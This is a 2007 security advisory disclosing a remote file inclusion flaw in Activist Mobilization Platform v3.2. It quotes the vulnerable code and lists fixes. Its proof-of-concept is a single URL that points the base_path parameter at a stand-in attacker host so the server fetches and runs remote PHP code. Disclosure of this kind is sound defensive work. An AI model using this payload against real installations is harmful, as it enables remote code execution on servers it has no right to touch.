[ECHO_ADV_71$2007] AMP v3.2 (base_path) Remote File Inclusion Vulnerability

ECHO_ADV_71$2007

[ECHO_ADV_71$2007] AMP v3.2 (base_path) Remote File Inclusion Vulnerability

Author : Dedi Dwianto a.k.a the_day
Date Found : March, 13th 2007
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv71-theday-2007.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote

Affected software description:

Application     : Activist Mobilization Platform (AMP )
version         : v3.2 
URL             : http://www.radicaldesigns.org

AMP is completely dynamic suite of content management tools designed with the small
non profit organization,grants roots coalition,political campaign or mass mobilization in mind.
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Vulnerability:
~~~~~~~~~~~~~

- Invalid require_once function at includes/base.php
-----------------------includes/base.php------------
....
<?php
require_once($base_path."includes/base_db.php");
require_once($base_path."includes/base_template.php");
?>

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Input passed to the "$base_path." parameter in base.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.



Proof Of Concept:
~~~~~~~~~~~~~~

http://localhost/amp-3.2/includes/base.php?base_path=http://atacker.com/inject.txt?


Solution:
~~~~~~

- Sanitize variable $base_path affected files.
- Turn off register_globals
- Upgrade to Lastest Version

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Shoutz:
~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy Nice Girl
~ az001,bomm_3x,matdhule,angelia
~ [email protected]
~ #aikmel - #e-c-h-o @irc.dal.net
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---
Contact:
~~~
     EcHo Research & Development Center
     http://advisories.echo.or.id
     erdc[at]echo[dot]or[dot]id
     the_day[at]echo[dot]or[dot]id
     
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